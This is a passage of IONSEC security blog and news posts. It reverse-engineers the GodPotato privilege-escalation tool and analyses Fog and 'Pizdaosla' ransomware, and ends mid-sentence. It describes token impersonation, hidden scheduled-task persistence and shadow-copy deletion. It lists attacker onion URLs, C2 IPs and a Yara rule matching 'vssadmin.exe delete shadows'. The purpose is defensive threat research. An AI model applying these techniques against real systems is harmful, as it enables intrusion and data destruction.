**The bottom line?** Your tools can’t do it alone. Just like a metal detector **needs human oversight** to identify unusual patterns, your cybersecurity infrastructure needs well-trained analysts to catch what automated systems miss.

---

# IONSEC at HackExpo 2024 – Breach at the Frontline

URL: https://www.ionsec.io/resources/ionsec-at-hackexpo-2024---breach-at-the-frontline
Category: News
Author: IONSEC Team
Published: 2024-11-28
Tags: events, conference, incident-response, fintech

At HackExpo 2024, IONSEC CEO Nir Halfon shared practical strategies for responding to exploits in fintech first-party applications under live pressure.

## Summary

![graphical user interface, website](/assets/blog/ionsec-at-hackexpo-2024---breach-at-the-frontline/68a6283f3390125d83e9ba7e_1732852448593.webp)

At **HackExpo 2024**, IONSEC Founder & CEO **Nir Halfon** delivered an in-depth session on incident response in the fintech sector. The talk, titled *“Breach at the Frontline: Responding to Exploits in a Fintech 1st Party Application”*, highlighted practical strategies for managing high-stakes security incidents in real time.

![Nir Halfon presenting "Breach at the Frontline" at HackExpo 2024](/assets/blog/ionsec-at-hackexpo-2024---breach-at-the-frontline/68a61f27e6aca51b6061db14_1733040006273.webp)

## Event Overview

Cyberattacks targeting fintech applications are on the rise, often aiming to exploit vulnerabilities in mission-critical, customer-facing platforms. At HackExpo 2024, Nir Halfon shared IONSEC’s frontline experience in responding to such incidents, providing attendees with actionable insights into containment, investigation, and recovery.

The session was hosted in collaboration with **CRAC Learning**, with the generous support of:

- Gourav M. Maya Sherman
- The Embassy of Israel in India
- Reuven Azar
- Abha Sharma

![The HackExpo 2024 speaker panel](/assets/blog/ionsec-at-hackexpo-2024---breach-at-the-frontline/68a61f4d527ab81a5ab82c55_1733040003204.webp)

## Key Takeaways from the Session

- **Rapid Containment is Critical**  
  The first minutes of a breach determine the scale of impact. Clear playbooks and pre-approved authority lines enable decisive action.
- **Visibility Across the Stack**  
  Responders need telemetry from application, network, and endpoint layers to reconstruct the attacker’s path and prevent further compromise.
- **Fintech-Specific Risks**  
  Unlike other industries, fintech breaches can directly affect customers’ financial assets, making incident response both a technical and reputational challenge.
- **Collaboration Across Teams**  
  Incident response is not just an engineering task. Legal, communications, and compliance functions must be aligned during live breaches.

![Audience at the HackExpo 2024 incident response session](/assets/blog/ionsec-at-hackexpo-2024---breach-at-the-frontline/68a61f5ae8cef031b97ce9d0_1733040004812.webp)

## Strengthening Collective Cybersecurity Knowledge

This session exemplifies IONSEC’s commitment to advancing global cybersecurity resilience. By sharing real-world experiences and tested methodologies, we aim to help organizations prepare for and withstand critical incidents.

We thank **CRAC Learning** for hosting and all the partners who made this discussion possible.

---

# Reverse Engineering GodPotato (MSASCui.exe)

URL: https://www.ionsec.io/resources/reverse-engineering-godpotato-msascui-exe
Category: Blog
Author: IONSEC Team
Published: 2024-11-10
Tags: reverse-engineering, privilege-escalation, windows, malware-analysis

Privilege escalation is a critical technique employed by attackers to gain unauthorized access to higher system privileges, often leading to significant security breaches.

## **Abstract**

Privilege escalation is a critical technique employed by attackers to gain unauthorized access to higher system privileges, often leading to significant security breaches.

This paper examines a recently disclosed method utilized by the GodPotato tool, which exploits vulnerabilities in the Distributed Component Object Model (DCOM) to elevate privileges on Windows systems. The goal of this paper is to analyse the underlying

mechanisms of the "God Potato" privilege escalation technique and examine its implications for system security.

## Who is the Potato family

The "Potato" family of exploits includes several privilege escalation techniques designed to leverage vulnerabilities in Windows services, especially around impersonation and

privilege delegation. Tools like RottenPotato, JuicyPotato, and SweetPotato have targeted vulnerabilities in the Windows COM and DCOM services, exploiting

misconfigurations in the SeImpersonatePrivilege permission.

These exploits enable attackers to escalate privileges from service or local accounts to system, the highest level of privilege on Windows machines. Each "Potato" variant adapts to different Windows versions and configurations, maintaining relevance as Windows security updates aim to close older vulnerabilities.

The family has been widely studied in both offensive security and defensive research, illustrating the risks of misconfigured privilege assignments in complex enterprise environments.

Prerequisites:

- ImpersonatePrivilege permission, which is often granted to web and database services by default.

Using the GodPotato tool, we can execute any command with system-level privileges.

![GodPotato executing a command with SYSTEM-level privileges](/assets/blog/reverse-engineering-godpotato-msascui-exe/67dfdae1815d75d81d5a2b41_img62.webp)

## **Background**

### RPC (Remote Procedure Call)

It is a protocol that enables a program to execute code or request services on a remote system (server) as if it were calling a local function.

### DCOM (Distributed Component Object Mode)

It is a Microsoft technology that extends the Component Object Model (COM) to support communication among software components distributed across networked computers.

## **How it works**

The **GodPotato** exploit consists of four key phases. First, it initializes the GodPotato context. Next, it hooks the RPC server dispatch table. In the final phases it elevates its privileges by setting up a pipe server and initiating the client process to connect to it.

## GodPotato context

The first phase of **GodPotato** is the context creation. During this phase it gathers data to manipulate and delegate **RPC functions**.

![The GodPotato context creation phase, gathering data to delegate RPC functions](/assets/blog/reverse-engineering-godpotato-msascui-exe/67dfdb31686c0fa648b9f83d_img64.webp)

The **GodPotato** context initialization flow involves enumerating all process’s DLLs to locate **combase.dll**. Once located, it searches for the **RPC\_SERVER\_INTERFACE** structure in memory by scanning for a unique byte sequence that combines its size and GUID.

![Enumerating process DLLs to locate combase.dll and scan for RPC_SERVER_INTERFACE](/assets/blog/reverse-engineering-godpotato-msascui-exe/67dfdb475e4717ddac8e4682_img65.webp)

The rest of the **GodPotato** context initialization flow extracts data from the **RPC\_SERVER\_INTERFACE** structure and its inner structure **MIDL\_SERVER\_INFO**, which will be used in subsequent phases.

![Extracting fields from RPC_SERVER_INTERFACE and its inner MIDL_SERVER_INFO structure](/assets/blog/reverse-engineering-godpotato-msascui-exe/67dfdb5d4e716699777f7020_img66.webp)

For example, the data extracted in the context initialization phase is used to determine target function’s parameters count. This value is then used to create a delegated function with the proper memory signature (The same function is wrapped in a wrapper function with varying argument counts to create an appropriate delegation function for each possible *UseProtseqFunctionParamCount* value).

![Wrapper functions providing a delegation signature for each UseProtseqFunctionParamCount value](/assets/blog/reverse-engineering-godpotato-msascui-exe/67dfdb796d470ef867200cc7_img73.webp)

### Hooking the RPC

Using the pointer to the RPC dispatch table, and the proper delegation function signature gathered in the previous phase, **GodPotato** hooks the RPC dispatch table to replace the target function with its own function.

![GodPotato hooking the RPC dispatch table to replace the target function with its own](/assets/blog/reverse-engineering-godpotato-msascui-exe/67dfdba94addc489efe45d53_img74.webp)

Hooking the RPC ends with RPC’s dispatch table pointing to the following code (wrapped by the delegation function):

![The code the RPC dispatch table points to after hooking](/assets/blog/reverse-engineering-godpotato-msascui-exe/67dfdbc50be011b4a78229f8_img75.webp)

This code above constructing a custom *DualStringArray* (see fields below) with the pipe from GodPotato context and a specific endpoint. Returning a pointer to this array from

the hooked function replaces the **standard binding information** that the RPC server uses.

This function will be later invoked, in the Trigger phase.

### Setting the pipe server

After hooking the RPC dispatch table, this phase creates the pipe server and executes it as a new thread.

![Creating the named pipe server and running it on a new thread](/assets/blog/reverse-engineering-godpotato-msascui-exe/67dfdc08769d5d9b9c285a10_img78.webp)

The *PipeServer* method is part of the **GodPotato** context initialized before. This method implements a named pipe server that can impersonate connected clients and attempts to elevate its privileges by finding a system-level token.

At first, this method creates a security descriptor, which sets the security attributes of the named pipe to allow all users full access at named pipe creation.

![Security descriptor granting all users full access to the named pipe](/assets/blog/reverse-engineering-godpotato-msascui-exe/67dfdc40d2eb1335f1e42543_img80.webp)

After the named pipe is created, the *PipeServer* method starts listening to the named pipe and waits for a client connection. When a client process connects to the named

pipe the server impersonates the client and enumerates client’s tokens to find a system-level token.

After locating the desired token, the GodPotato process creates a new Windows identity from this privileged token, thereby elevating its own process privileges.

![Creating a new Windows identity from the captured privileged token](/assets/blog/reverse-engineering-godpotato-msascui-exe/67dfdc63815d75d81d5b0d3e_img82.webp)

### Triggering the client

In this phase, the **GodPotato** technique brings together all the previous components to achieve privilege escalation. After hooking the RPC dispatch table and setting up a pipe server (which is responsible for elevating the process's privileges by impersonating the client) the crucial missing piece is obtaining a connection from a client process that has system-level privileges.

First, it creates a new *GodPotatoTrigger* instance which creates a general *COM IUnknown interface* pointer and a *COM object moniker (IMoniker)* for the object

identified by the previous *IUnknown* pointer. These objects are used by COM and DCOM mechanisms to identify and bind objects.

![Initialization of the GodPotatoTrigger instance and its IUnknown pointers](/assets/blog/reverse-engineering-godpotato-msascui-exe/67dfdc87b398f6f71aeb9355_img83.webp)

After the *GodPotatoTrigger* instance is initialized, calling the *Trigger* function starts a call flow that ends with unmarshalling a crafted serialized object. The unmarshalling

process is an internal mechanism that uses the *ResolveOxid* API to resolve the *OXID*

(critical part when communicating with remote COM objects).

When the server gets a *ResolveOxid* request, it checks if there is already registered protocol (appears in the binding string of the serialized object) with the specified *OXID*. If not registered, the function invokes the *UseProtSeq* method.

When hooking the RPC dispatch table, **GodPotato** has changed the pointer to the *UseProtSeq* method. The delegated function *UseProtSeq* is pointing to, returns a crafted binding string referring to the pipe server initialized in the previous phase

(instead of the original binding address and endpoint).

![The crafted COM object that redirects the client's binding string to the impersonating pipe](/assets/blog/reverse-engineering-godpotato-msascui-exe/67dfdcaf0589a3c2071c31ce_img86.webp)

Unmarshalling the crafted COM object replaces the client process's binding string, causing the client process to connect to the impersonating pipe server. The

impersonating pipe server then uses the client's token to elevate its privileges to system level.

---

# Clearing the Mist: Unveiling Fog Ransomware

URL: https://www.ionsec.io/resources/clearing-the-mist-unveiling-fog-ransomware
Category: Blog
Author: IONSEC Team
Published: 2024-08-25
Tags: ransomware, malware-analysis, threat-intelligence, ttps

A full analysis of the Fog Ransomware Group: the malware it deploys, the TTPs it relies on to infiltrate high-tech firms, and how defenders can disrupt it.

## Abstract

In the rapidly evolving cybersecurity landscape, ransomware attacks have become an increasingly prevalent and sophisticated threat. One of the latest adversaries to emerge from the shadows is theFog Ransomware Group. This malicious entity has been making headlines for its ability to infiltrate high-tech firms and disrupt operations. This blog post aims to provide a comprehensive analysis of the Fog Ransomware Group, dissecting its malware and TTPs (Tactics, Techniques, and Procedures)and offering insights for security companies and high-tech employees on how to defend against these attacks.

## Code Blue - Cyber Crisis Preparedness and Management

- Protect your company’s reputation
- Mitigate regulatory challenges and ensure business continuity
- Shorten the duration of a cyber crisis and bounce back faster
- Reach out to us: info@codebluecyber.com | +972-23761215

## IONSEC - Research and Incident Response

IONSEC leads the charge in cybersecurity. Our team, composed of top-tier security researchers, specializes inIncident Response, Security Assessment, and pioneering Research. We excel in securing your digital assets by staying ahead of cyber threats with proactive strategies and continuous research. IONSEC is your trusted partner, ensuring the highest standards of cybersecurity excellence.

- Reach out to us: [info@ionsec.io](mailto:office@ionsec.io) | +972-543181773

## Who is the Fog Ransomware Group?

In early June 2024, IONSEC and Code Blue research teams launched an investigation into the increasing prevalence of Fog ransomware attacks targeting educational institutions. This month, our team addressed an incident involving a major enterprise that resulted in significant damage, broadening potential victims' scope. It is crucial to refer to Fog as a ransomware variant rather than a collective group; this distinction clarifies the differences between those who develop the encryptor software and the hackers executing the attacks. Such differentiation is essential, as ransomware groups often seem unified despite comprising independent affiliate groups. The precise structure of the group—or groups—behind the Fog ransomware remains unidentified at this time.

Fog i, which appends the .flocked extension to encrypted files, was first detected in May during campaigns executed by Storm-0844, a threat actor recognized for distributing Akira. By June, Storm- 0844 shifted its focus, deploying Fog more frequently than Akira.

### **Threat Actor Onion URLs:**

- FOG Main Website (Victim Portal via Code) [http://xql562evsy7njcsngacphc2erzjfecwotdkobn3m4uxu2gtqh26newid](http://xql562evsy7njcsngacphc2erzjfecwotdkobn3m4uxu2gtqh26newid/)[.]onion
- Blog (Victim Publication) [http://xbkv2qey6u3gd3qxcojynrt4h5sgrhkar6whuo74wo63hijnn677jnyd](http://xbkv2qey6u3gd3qxcojynrt4h5sgrhkar6whuo74wo63hijnn677jnyd/)[.]onion

A group known as FOG was noted to exist in 2021 ii; however, no concrete connections between this group and other entities have been established to date.

### **Victims:**

There are at least 15 confirmed victims associated with the attackers, and evidence suggests that some clients may have paid the ransom, as indicated by the removal of "Geelong Lutheran College" from their website.

Additionally, several other organizations have also been omitted from the website:

- Verweij Elektrotechniek
- Alvin Independent School District

## New Form of Persistence

Our team has observed that FOG utilizes highly obfuscated scheduled tasks to maintain access to compromised networks. While the mechanization of scheduled tasks is not a novel concept, this particular approach has successfully evaded detection by even the most advanced EDR pl

![The scheduled task's PowerShell script, used to maintain access while evading EDR](/assets/blog/clearing-the-mist-unveiling-fog-ransomware/67dfcfae8190f33913b3c8f9_img55.webp)

The task essentially comprises a PowerShell script that appears to perform the following key operations:

### 1. Encryption/Decryption of Data:

- The script includes functions for converting data to and from Base64 (ConvertTo-Base64 and ConvertFrom-Base64).
- The Decrypt-Data function reverses this process by extracting the IV from the encrypted data and decrypting the remaining data using the specified key.
- The Encrypt-Data function employs the AES algorithm in CBC mode with PKCS7 padding to encrypt data, generating an IV (Initialization Vector) for each encryption, which is prepended to the encrypted data. The outcome is then encoded as a Base64 string.

### 2. **Interacting with Windows Task Scheduler:**

- The script connects to the Task Scheduler via the COM object Schedule.Service.
- It retrieves a cheduled task named "[redacted]" from the root folder ($taskPath = "\").
- The script extracts the task's description—encrypted—decrypts it, executes the decrypted content using iex (which runs the decrypted string as a PowerShell command), captures the output, and subsequently encrypts it.

### 3. Modifying the Task's Description:

- The script replaces the task's description with the encrypted result of the command execution, effectively storing the command output within the task's metadata.

### Analysis and Potential Concerns:

#### 1. **Encryption Key:**

- The encryption key [redacted] is a Base64-encoded string that decodes to a 16-byte (128-bit) key, which is pivotal to the encryption and decryption processes.

#### 2. **Execution of Decrypted Code:**

- A significant concern regarding this script is its ability to decrypt and execute a command embedded in the description of a scheduled task. This poses a risk, as it suggests that an attacker could embed malicious code within the task's description, which would subsequently be decrypted and executed by this script.

#### 3. **Persistence Mechanism:**

- This script forms part of a persistence mechanism, concealing the actual payload within the Task Scheduler's metadata, thereby evading detection by storing encrypted data that is executed only when this script runs.

#### 4. **Malicious Potential:**

- If employed maliciously, this script could enable an attacker to execute arbitrary commands on the system without leaving apparent traces in conventional script files. The use of encryption further complicates detection and analysis.

## Dissecting the Ransomware

### Understanding the Core Components

Fog Ransomware functions through three primary components to execute its malicious activities. The initial phase involves creating a mutex to prevent double infections that could impede execution, as well as deleting shadow backups. The second phase focuses on decrypting the configuration file, which is embedded within the binary. Lastly, the third phase carries out the encryption process itself.

### Phase 1 - Mutex Creation & Shadow Backup Deletion

The malware creates a mutex during runtime to prevent double infection of the system, thereby ensuring the proper execution of its functions. Additionally, in this phase, the malware deletes the shadow backups of the infected station to eliminate the possibility of restoring from local backups.

![Fog ransomware deleting the shadow backups of the infected machine](/assets/blog/clearing-the-mist-unveiling-fog-ransomware/67dfd154a5ac9cc41423db21_img63.webp)

![Continuation of the shadow backup deletion routine](/assets/blog/clearing-the-mist-unveiling-fog-ransomware/67dfd165ff0309089a66d577_img62.webp)

### Phase 2 - Configuration File Decryption

In the second phase, Fog Ransomware decrypts the configuration file located within the binary. This file contains instructions and parameters essential for the encryption process. The configuration file consists the following list -

- List of processes to terminate
- List of services to terminate
- File extensions to encrypt
- Path list

![The path list Fog ransomware targets for encryption](/assets/blog/clearing-the-mist-unveiling-fog-ransomware/67dfd379686c0fa648b57e58_4-images.webp)

### Phase 3 - Encryption Process

During the encryption phase, the malware scans the paths specified in the configuration file. Each file with an extension included in the designated list is encrypted. The malware employs the AES algorithm for fast encryption and subsequently uses the RSA algorithm to encrypt the AES key. This dual technique is commonly utilized by many ransomware variants, as the efficiency of AES combined with the RSA encryption of its key makes it nearly impossible to recover the files without paying the ransom.

![AES file encryption with the key protected by RSA](/assets/blog/clearing-the-mist-unveiling-fog-ransomware/67dfd38ea2a5a3817451c810_img74.webp)

| Tactic | Technique | Sub-techniques or Tools |
|-------------------|---------------------------------------|-------------------------------------------------------------------------------------------------------------|
| Initial Access | T1133: External Remote Services | |
| | T1078: Valid Accounts | • Compromised VPN Creds |
| Discovery | T1046: Network Service Discovery | • Advanced Port Scanner |
| | T1135: Network Share Discovery | • Netscan |
| Lateral Movement | T1021: Remote Services | • T1021.001: Remote Desktop Protocol   
 • T1021.002: SMB/Windows Admin Shares |
| | T1570: Lateral Tool Transfer | • T1021.002: SMB/Windows Admin Shares |
| Credential Access | T1003: OS Credential Dumping | • T1003.003: NTDS |
| | T1555: Credentials from Password Stores | • Veeam-Get-Creds.ps1   
 [Veeam-Get-Creds.ps1](https://github.com/sadshade/veeam-creds/blob/main/Veeam-Get-Creds.ps1) |
| | T1110: Brute Force | • T1110.004: Credential Stuffing |
| Persistence | T1136: Create Account | • T1136.001: Local Account (Administrator) |
| Execution | T1059: Command and Scripting Interpreter | • T1059.003: Windows Command Shell |
| | T1569: System Services | • T1569.002: Service Execution (PsExec) |
| Defense Evasion | T1562: Impair Defenses | • T1562.001: Disable or Modify Tools (Windows Defender/AV) |
| | T1550: Use Alternate Authentication Material | • T1550.002: Pass the Hash |
| | T1078: Valid Accounts | |
| | T1140: Deobfuscate/Decode Files or Information | |
| | T1070: Indicator Removal | • T1070.004: File Deletion |
| Exfiltration | T1048: Exfiltration Over Alternative Protocol | • ssh.exe is used to transmit data to the attacker's command and control (C2) server.   
 • Rclone used to exfiltrate data to the attacker's C2 |
| Impact | T1486: Data Encrypted for Impact | |
| | T1490: Inhibit System Recovery | • vssadmin.exe is utilized to delete volume shadow copies on the system. |
| | T1489: Service Stop | |

## Defending Against Fog Ransomware

### Regular Software Updates and Patch Management

Keeping software up to date is one of the simplest yet most effective ways to protect against ransomware. Regularly applying patches to operating systems and applications can close vulnerabilities that ransomware exploits.

### Implementing Multi-Factor Authentication (MFA)

MFA adds an extra layer of security by requiring users to provide two or more verification factors. This makes it significantly harder for attackers to gain access, even if they have stolen login credentials.

### Network Segmentation

Network segmentation involves dividing a network into smaller, isolated segments. This limits the spread of ransomware by containing it within a single segment, preventing it from infecting the entire network.

### Regular Backups and Data Recovery Plans

Regularly backing up data and having a well-tested data recovery plan can help organizations quickly recover from ransomware attacks without paying the ransom. Backups should be stored offline and in multiple locations to ensure their availability.

### Conclusion

Ransomware remains a significant threat to organizations of all sizes. The Fog Ransomware Group exemplifies the evolving sophistication of these attacks. By understanding their malware, TTPs, and implementing robust defenses, organizations can protect themselves against this and other ransomware threats.

For security companies and high-tech employees, staying informed and proactive is crucial. Continuous education, collaboration, and investment in advanced security tools are key to defending against ransomware. Remember, the battle against ransomware is ongoing, and vigilance is the best defense.

## Appendix

### **Indicators of Compromise (IoCs)**

#### Hash

- Locker\_out.exe - 507b26054319ff31f275ba44ddc9d2b5037bd295
- Locker\_out.dll - 44a76b9546427627a8d88a650c1bed3f1cc0278c

#### IPs

- 5.230.33[.]176
- 77.247.126[.]200
- 107.161.50[.]26

#### Yara

rule SearchForFogRans

{

meta:

description = "Search for fog ransomware" author = "CodeBlue & IONSEC"

date = "2024-08-16"

version = "1.0"

strings:

$start\_encrypt = "Start encrypt file"

$mutex\_check = "[=] Checking mutex..."

$vssadmin\_usage = "vssadmin.exe delete shadows"

condition: all of them

}

### **References**

<https://ransomware.live/#/group/fog>

<https://www.beforecrypt.com/en/fog-ransomware>

---

# IONSEC Joins the 3rd MIRROR Forum with INCD

URL: https://www.ionsec.io/resources/ionsec-joins-the-3rd-mirror-forum-with-incd
Category: News
Author: IONSEC Team
Published: 2024-06-28
Tags: events, incd, collaboration

On June 28, IONSEC proudly participated in the third MIRROR Forum — a unique gathering of 15 Incident Response (IR) companies across Israel, convened by the Israel National Cyber Directorate (INCD).

![The 3rd MIRROR Forum, convened by the Israel National Cyber Directorate](/assets/blog/ionsec-joins-the-3rd-mirror-forum-with-incd/68a622792e4849ca3a91d300_1688034273578.webp)

## Building a Stronger IR Community in Israel

On **June 28**, IONSEC proudly participated in the **third MIRROR Forum** — a unique gathering of **15 Incident Response (IR) companies across Israel**, convened by the **Israel National Cyber Directorate (INCD)**.

The forum was initiated following an open call from INCD to all IR providers in Israel who are committed to strengthening the community, influencing best practices, and fostering meaningful collaboration.

## Key Discussion Points

The session focused on the **criteria IR companies in Israel should meet**, sparking valuable dialogue on:

- Possible benchmarks and standards for IR providers
- Global models of collaboration — what works well, and where gaps remain
- Differences in services offered across the IR ecosystem
- Critical issues that require further alignment and shared attention

This open exchange highlighted the diversity of expertise across the community while underscoring the importance of unified standards to strengthen Israel’s cyber resilience.

## Looking Forward

At IONSEC, we believe that **collaboration is the cornerstone of effective cyber defense**. By sharing knowledge, aligning criteria, and creating a trusted network of responders, the MIRROR Forum has the potential to build one of the **strongest IR communities in the world**.

We thank INCD for initiating this important platform and extend our appreciation to all fellow IR companies who took part. For IONSEC, this is just the beginning — and we are committed to contributing to this collective effort.

---

# IONSEC Shares Wiper Malware Research with Czech Delegation in Israel

URL: https://www.ionsec.io/resources/ionsec-shares-wiper-malware-research-with-czech-delegation-in-israel
Category: News
Author: IONSEC Team
Published: 2024-06-02
Tags: wiper, malware-analysis, operation-handala, threat-intelligence, events

IONSEC hosted a Czech delegation in Israel to present our Wiper malware research, including the campaign we track as Operation HANDALA.

## Strengthening International Cybersecurity Collaboration

🇨🇿🤝🇮🇱 This week marked a landmark moment for IONSEC as we welcomed a **distinguished Czech delegation** to Israel for a high-level cybersecurity exchange. The meeting represented not only an opportunity to share knowledge, but also a significant step forward in fostering **international cybersecurity collaboration**.

![IONSEC welcoming the Czech delegation in Israel](/assets/blog/ionsec-shares-wiper-malware-research-with-czech-delegation-in-israel/68a62158d79f190f9dac5c47_1705394328964.webp)

## Presenting Operation HANDALA

Our team had the privilege of presenting our latest research on **Wiper malware**, focusing on the campaign we’ve tracked under the name **Operation HANDALA**.

This body of work reflects IONSEC’s ongoing commitment to staying ahead of emerging threats and providing defenders with actionable intelligence. Sharing these findings with such an esteemed audience was both an honor and a moment of pride for our researchers.

## A Meeting of Minds

The discussions went far beyond a technical briefing. This meeting was a testament to the **power of collective wisdom** in cybersecurity. Conversations around our research sparked new ideas and opened promising avenues for future collaboration and joint defense initiatives.

![Discussion of the Operation HANDALA wiper research with the delegation](/assets/blog/ionsec-shares-wiper-malware-research-with-czech-delegation-in-israel/68a6214d6d5695deb5a8112d_1705394328975.webp)

## Our Thanks

We sincerely thank **Cyber7 – Israel’s Cyber Innovation Community** and **Daniel Martin** for making this collaboration possible. Their dedication to building bridges between cybersecurity communities continues to strengthen both local and international resilience.

![The IONSEC team with the visiting Czech delegation](/assets/blog/ionsec-shares-wiper-malware-research-with-czech-delegation-in-israel/68a621346c3928e5af0301c7_1705394329011.webp)

## Looking Ahead

As we continue to deepen our research into advanced threats like **Wiper malware**, IONSEC remains committed to collaboration, transparency, and community-driven defense.

Stay connected with us for more insights, research updates, and stories from the frontline of cybersecurity.

📩 For inquiries or to explore collaboration opportunities, contact us at [**info@ionsec.io**](#)

---

# IONSEC at GPEC 2024 – Showcasing APT Research on the Global Stage

URL: https://www.ionsec.io/resources/ionsec-at-gpec-2024---showcasing-apt-research-on-the-global-stage-98do0-brms0
Category: News
Author: IONSEC Team
Published: 2024-05-08
Tags: events, conference, apt, threat-intelligence

Wow — what a journey GPEC (General Police Equipment Exhibition & Conference) was this year. Standing among 471 exhibitors from 32 different countries was nothing short of inspiring. The scale, the diversity, and the energy of the event made it a true highlight of 2024.

![The IONSEC team presenting APT research at GPEC 2024](/assets/blog/ionsec-at-gpec-2024---showcasing-apt-research-on-the-global-stage-98do0-brms0/68a6208b9994a32db4d6bf94_1714974533357.webp)

![graphical user interface, application](/assets/blog/ionsec-at-gpec-2024---showcasing-apt-research-on-the-global-stage-98do0-brms0/68a620aad78662100c220e54_1714813129777.webp)

## What an Experience!

Wow — what a journey **GPEC (General Police Equipment Exhibition & Conference)** was this year. Standing among **471 exhibitors from 32 different countries** was nothing short of inspiring. The scale, the diversity, and the energy of the event made it a true highlight of 2024.

## Proud to Represent Israel

A huge thank you to the **Israeli Pavilion** organized by the **Israel Export Institute (מכון היצוא)** for setting up such a strong stage. Being part of this collective effort was an honor — and it gave IONSEC the opportunity to showcase our latest **APT cyber threat projects** and **cutting-edge research** to an international audience.

## Showcasing IONSEC Research

On the floor, we presented insights into some of the most advanced threat actor campaigns we’ve investigated, and how our approach to **digital forensics and incident response (DFIR)** continues to evolve to match these threats.

It wasn’t just about showing research — it was about engaging conversations. We connected with practitioners, law enforcement, and security leaders eager to explore **practical solutions for combatting cyber threats**.

## Looking Ahead

Events like GPEC remind us of the value of coming together as a community. Every handshake, every exchange of ideas adds momentum to the work we all do.

We’re already looking forward to turning those conversations into new collaborations and projects. To everyone we met at GPEC — thank you for making it such a memorable experience.

## Need Support Right Now?

If you’re **facing a security breach** or **under active cyber attack**, don’t wait.  
Our team at **IONSEC** is ready with **state-of-the-art solutions** and the expertise to help you **detect, respond, and recover** effectively.

📩 Contact us at [**info@ionsec.io**](#) to explore how we can support your organization.

---

# SovaTeam - New State-Sponsored APT

URL: https://www.ionsec.io/resources/sovateam---new-state-sponsored-apt
Category: Blog
Author: IONSEC Team
Published: 2024-03-31
Tags: apt, ransomware, threat-intelligence, incident-response

How IONSEC and White-Hat traced the Sova Team threat actor through a ransom note to uncover a state-sponsored APT operating past strict security controls.

Before delving into the intriguing case involving “Pizdaosla” and the "Sova Team" group, it's important to note that "White-Hat" and "I**O**NSEC" were brought in to investigate an incident concerning a company whose identity must remain confidential. As we examined the ransom note, our journey began.

**This research will be divided into two parts:**

- Reversing aspect.   
  - We will analyze the intricacies of this ransom step by step, leading to a deep understanding of its nature.
- Intelligence facts.   
  - Connecting the dots to provide a comprehensive overview. So, grab coffee and immerse yourself in this captivating adventure.

By the end, you will be amazed by how a seemingly simple yet complex malware and threat actor group operated despite strict security measures.

***IONSEC offers comprehensive, multi-tiered incident response services, ensuring around-the- clock MDR (Managed Detection and Response) and IR (Incident Response) capabilities to address any incident.***

📨 ***For detailed insights into our services, technologies, and to receive further guidance on safeguarding against such attack vectors, please get in touch with us at*** [***info@ionsec.io.***](mailto:contact@ionsec.io)

A new significant threat has been suspected to have emerged from Siberia - the “Pizdaosla” malware. This highly advanced cyber threat has garnered global attention not only for its origin but also for its sophisticated mechanisms and alarming capabilities. Similar to the infamous Mimic ransomware, identified by TrendMicro i as a data-encrypting and ransom-demanding threat, “Pizdaosla” delves deeper into the realm of digital chaos.

This article explores the intricate anatomy of Pizdaosla, a malware echoing the destructive nature of its predecessors while introducing innovative tactics in its operations.

**The Pizdaosla in a nutshell**

At its core, “Pizdaosla” exhibits cunning behavior. It starts its deceptive journey by locating the 'lock.txt' file. While seemingly innocuous, this file is pivotal in Pizdaosla's operations. Its presence halts the malware's actions, which is likely a feature for testing during development. However, the absence of this file sets the stage for Pizdaosla's malicious activities.

In a fascinating demonstration of digital trickery, Pizdaosla duplicates itself. This duplicate serves as a guard, protecting the original malware against interference or termination attempts. Furthermore, Pizdaosla's ingenuity is evident as it generates two additional copies called “unlockers”. These unlockers engage in sophisticated cyber deception, establishing communication between processes and manipulating memory addresses in other processes.

![Pizdaosla spawning its two additional unlocker copies](/assets/blog/sovateam---new-state-sponsored-apt/67dff8a9879afc6d720e96ac_img28.webp)

## Technical Analysis

![Start of the Pizdaosla technical analysis in the disassembler](/assets/blog/sovateam---new-state-sponsored-apt/67dff8ca74b44346c0d83c0e_img108.webp)

The malware not only performs specific actions but also can accept parameters that can modify or limit its functions. An important initial step of this malware is to scan for hardcoded parameters. The parameters include:

dir -> Directory for encryption

e -> all, local, net, watch, ul1, ul2

prot -> Protects the ransomware from termination

pid -> Process identifier (PID) of the previously running ransomware.

In the provided image, we can see a function that iterates through the command line arguments of the initial process. Depending on the results of this iteration, it sets a global variable. For example, when the malware is first run with the -prot argument, the corresponding global flag is activated, as demonstrated in the loop within the image. Later on, we will discuss how the -prot flag plays a crucial role in marking a folder as a protected process, preventing its encryption.

![Decompiled loop that activates the global flag when the -prot argument is passed](/assets/blog/sovateam---new-state-sponsored-apt/67dff97341031a938400726a_img115.webp)

To streamline the reverse engineering process, we can introduce an Enum in IDA to organize all static values from the loop. This Enum will act as a central repository for these values, enhancing the readability and structure of the code presentation.

typedef enum {

OPTION\_UNKNOWN = 10, // Default or unknown option OPTION\_LOCAL = 11, // Corresponds to "local" OPTION\_NET = 12, // Corresponds to "net" OPTION\_WATCH = 13, // Corresponds to "watch" OPTION\_UL1 = 14, // Corresponds to "ul1" OPTION\_UL2 = 15 // Corresponds to "ul2"

} CMDL\_Flag; CMDL\_Flag Glob\_CMDL\_Flag\_Struct;

```text
1typedef enum {
2OPTION_UNKNOWN = 10, // Default or unknown option OPTION_LOCAL = 11, // Corresponds to "local" OPTION_NET = 12, // Corresponds to "net" OPTION_WATCH = 13, // Corresponds to "watch" OPTION_UL1 = 14, // Corresponds to "ul1" OPTION_UL2 = 15 // Corresponds to "ul2"
3} CMDL_Flag; CMDL_Flag Glob_CMDL_Flag_Struct;
4
```

After creating the Enum, we had to update the type to match the new CMD\_Flag struct type.

![Updating the argument variable to the new CMD_Flag struct type in IDA](/assets/blog/sovateam---new-state-sponsored-apt/67dff9f2ed90c1081ee51f80_img116.webp)

After defining the new category, we can start enjoying the rewards of our hard work.

![The CMD_Flag enum applied in IDA, showing named flags instead of raw values](/assets/blog/sovateam---new-state-sponsored-apt/67dffa0e0131fe116b8e0218_img119.webp)

After defining the new structure, we see its implementation in the main function. This function contains an if statement to check the command line for Option\_UL1 which stands for ul1. The main goal is to verify if ul1 is present in the command line of the current process. If it is not found, the program moves to the next if statement, checking for the ul2 option. If ul1 is indeed in the command line, the function logs an entry and starts a thread. This thread conducts interprocess communication and aims to unlock specific memory addresses in another process.

![Main function checking the command line for the ul1 and ul2 unlocker options](/assets/blog/sovateam---new-state-sponsored-apt/67dffa1c6d470ef8673690a3_img120.webp)

As we delve deeper into the reverse engineering process, employing static and dynamic

analysis approaches, we discover that the malware contains a hidden flag. This flag instructs the malware to generate a log file. We modified this global flag to activate the logging feature as part of the dynamic analysis. Consequently, each action initiated by the malware is recorded in this log file, significantly accelerating the reverse engineering process. What's

